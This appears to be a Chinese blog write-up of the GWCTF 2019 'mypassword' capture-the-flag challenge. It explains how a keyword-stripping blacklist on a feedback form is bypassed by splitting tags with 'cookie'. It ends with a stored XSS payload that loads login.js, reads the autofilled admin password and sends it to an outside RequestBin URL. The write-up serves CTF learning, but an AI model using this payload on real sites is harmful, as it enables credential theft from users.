【代码审计】buu_[GWCTF 2019]mypassword

1.页面打开像是注入,现注册登录后发现并非注入,如下:

2.在登陆界面发现./js/login.js,打开查看到如下的js代码:

if (document.cookie && document.cookie != '') { //Cookie是一个由该域名下的所有cookie的值对所组成的字符串,值对间以“分号加空格”分隔
	var cookies = document.cookie.split('; '); //为了方便查看,可以使用split()方法将cookie中的值对解析出来,得到一个cookie的列表
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');  // 解析出值
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];  
		document.getElementsByName("password")[0].value = cookie['psw']; //返回页面中标签名属性为name的对象
	}
}

代码解读:代码会把cookie中的username和password填进当前表单

思路:由于是后端执行js,所以构造js即可。先写一个有表单的页面,调用这个js文件,cookie中的数据被填入表单,再用js获取页面表单内容,发送请求,就能得到管理员cookie。现在看在哪里以及如何发送请求。

3.由于在各页面查看源码,在首页发现feedback.php:

打开其源码可看到注释:

代码分析:对feedback输入的内进行过滤,即把feedback中在黑名单中的字符串替换为空,只是替换为空很容易绕过

方法:根据上述login.js可将密码填入表单的功能,所以构造一个表单在feedback页面提交。

在 http://http.requestbin.buuoj.cn(RequestBin提供了一个URL,该URL将收集对其发出的请求,首页点击create a requestbin)页面接收flag

4.大神的poc:

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/rlrk8drl/?a="+psw;
</scrcookieipt>

 5.退回原界面即可获取flag 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值